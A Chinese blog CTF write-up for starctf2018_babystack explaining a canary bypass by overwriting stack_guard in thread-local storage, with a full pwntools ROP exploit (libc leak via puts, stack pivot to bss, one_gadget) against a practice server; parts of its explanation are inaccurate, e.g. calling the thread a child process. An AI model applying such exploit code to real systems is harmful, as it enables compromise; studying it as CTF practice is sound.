当前位置:首页 > 技术 > 正文内容

starctf2018_babystack

访客 技术 2026年7月8日 1

基于线程局部存储的Canary绕过技术分析

在CTF题目 starctf2018_babystack 中,首次接触到了一种新颖的Canary绕过思路:通过控制线程局部存储(TLS)中用于校验的寄存器值来实现对栈保护机制的突破。

核心原理

传统的Canary机制依赖于在函数调用前生成一个随机数,并将其存储在特定位置(64位下为fs:0x28,32位为fs:0x14)。程序在返回时会将该值与栈上保存的副本进行异或校验,若不一致则触发异常。常规绕过方式包括泄露、爆破或利用信息泄漏。

但本题的关键在于:Canary的校验过程使用的是线程控制块(tcbhead_t)中的stack_guard字段作为异或源。该字段由内核在初始化时设置,且每个线程独占一份。

tcbhead_t 结构解析

typedef struct {
    void *tcb;
    dtv_t *dtv;
    void *self;
    int multiple_threads;
    int gscope_flag;
    uintptr_t sysinfo;
    uintptr_t stack_guard;  // 存储当前线程的Canary值
    uintptr_t pointer_guard;
    // ... 其他成员
} tcbhead_t;

通过 pthread_self() 可获取当前线程的 TCB 指针,其指向的结构体即为 tcbhead_t。利用此特性,可定位到 stack_guard 字段的内存地址。

利用前提

要成功操控Canary,必须满足两个条件:

  1. 程序创建了子进程;
  2. 子进程中存在大范围的栈溢出漏洞。

原因在于:主进程的 TLS 段映射地址不稳定;而子进程通过 mmap 将栈与 tcbhead_t 映射至同一内存区域,且位于高地址区,因此可以被精确控制。

漏洞点分析

程序通过 pthread_create 创建了一个线程,其入口函数 start_routine 存在一个可输入长达 0x10000 字节的缓冲区漏洞。这为构造大规模栈溢出提供了可能。

攻击流程设计

攻击分为两阶段:

第一阶段:泄露libc基址并控制Canary

  • 构造恶意输入,覆盖栈上的返回地址;
  • 使用 leave; ret 指令后,栈指针(esp)将指向第一轮输入数据;
  • read 调用前,修改 esp 指向 bss 段,使后续输入能直接写入目标区域;
  • 通过 puts@plt 泄露 libc 地址,计算 base 值;
  • 重置栈状态,准备第二阶段攻击。

第二阶段:执行onegadget

  • 利用已知的 onegadget 地址,构造最终的 payload;
  • 写入 bss 段,确保执行流跳转至该地址;
  • 由于第一次输入中已控制 stack_guard 的值,使得 Canay 验证通过。

关键技巧

注意到 bss 段存放的是一个指针,若直接写入 onegadget 地址,会导致程序试图将其作为指令执行失败。因此需先调整栈指针(esp),使其指向正确的数据位置,再跳转执行。

Exploit 示例

from pwn import *

context.log_level = 'debug'
p, e, libc = load('a', 'node4.buuoj.cn:27410', 'libc-2.27.so')

p.recvuntil('How many bytes do you want to send?\n')
pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
pop_rsp_r13_r14_r15 = 0x400bfd

# 第一次输入:触发栈溢出 + 控制canary + 泄露puts地址
p.sendline(str(0x1850))

payload = b'a' * 0x1008
payload += p64(0xdeadbeef)      # Canary
payload += p64(0xbbbbbbbb)     # ebp
payload += p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts'])
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x602100) + p64(0) + p64(e.plt['read'])
payload = payload.ljust(0x1060, b'c')
payload += p64(pop_rsp_r13_r14_r15) + p64(0x602100) + p64(0) * 3  # 调整 esp

# 补齐长度,重新填充 canary
payload = payload.ljust(0x1848, b'a')
payload += p64(0xdeadbeef)
p.send(payload)

# 接收 puts 地址并计算 libc base
p.recvuntil("It's time to say goodbye.\n")
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"puts address: {hex(puts_addr)}")
libc_base = puts_addr - libc.symbols['puts']
log.info(f"libc base: {hex(libc_base)}")

# 执行 onegadget
one_gadget = libc_base + search_og(1)
payload = b'a' * 0x18 + p64(one_gadget)
p.send(payload)

p.interactive()

总结

本题展示了对 Canary 机制更深层的理解:不仅限于泄露或爆破,还可通过控制 TLS 中的 stack_guard 来绕过校验。该方法适用于存在子进程 + 大溢出场景,是现代 PWN 题目中值得掌握的重要技巧。

相关文章

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

linux screen 用法详情 (nohup 的替代方案)

一、screen 是什么?能干嘛?screen 是一个终端复用器,可以:在一个 SSH 会话中开多个“虚拟终端”SSH 断线后,程序仍然在后台运行随时重新连接到原来的会话特别适合:nohup 的替代方案跑脚本 / 爬虫 / 训练模型运维、远程开发二、安装 screen# CentOS / Rocky / Almayum install -y screen# Debian / Ubuntuapt i...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。